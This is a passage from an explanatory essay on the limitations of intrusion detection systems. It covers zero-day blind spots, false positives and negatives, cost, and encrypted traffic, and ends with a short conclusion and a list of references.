IDS are also not without drawbacks, however. Since IDS typically rely on an extensive signature databases or behaviour profiles, they would not be able to detect completely new zero-day exploits, developed by attackers with sufficient resources and capabilities. An IDS using an outdated signature database or being deployed against a zero-day exploit might still flag a system as perfectly secure even though in reality it has been compromised, i.e. the system might signal false negatives. Conversely, IDS might also mislead sysadmins, drawing their attention to false positives, i.e. events or files that are irrelevant whilst the real attacks or exploits are happening elsewhere. IDS also do not take actions on their own against detected intrusions either, so for them to be useful, either an Intrusion Prevention System (IPS) must be installed alongside the IDS or an experienced engineer must be tasked to administer the IDS and take appropriate actions whenever necessary [3][5]. In both cases, there is a financial cost for implementing IDS. IDS cannot read encrypted packets or files either, so exploits making proper use of encryption might be able to bypass detection [5]. Finally, there are certain IDS that attempt to detect even attacks that are not yet known by making use of heuristics, but these systems have such demanding requirements for computational resources that actually installing them on real-world applications is infeasible [5].
To conclude, while IDS might be a useful tool in boosting the security of a particular system or network, they are not by any means a complete security solution. Properly implementing them alongside other potentially appropriate security tools while taking into account their costs is advised for optimal results.
References
[1] https://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-31.pdf
[2] https://www.stamus-networks.com/blog/what-are-the-advantages-of-intrusion-detection-systems
[3] https://www.rapid7.com/blog/post/2017/01/11/the-pros-cons-of-intrusion-detection-systems/
[4] https://generalintlgroup.com/en/blog/advantages-and-disadvantages-of-intrusion-detection-system-ids-types
[5] https://www.sciencedirect.com/science/article/abs/pii/S1084804512001944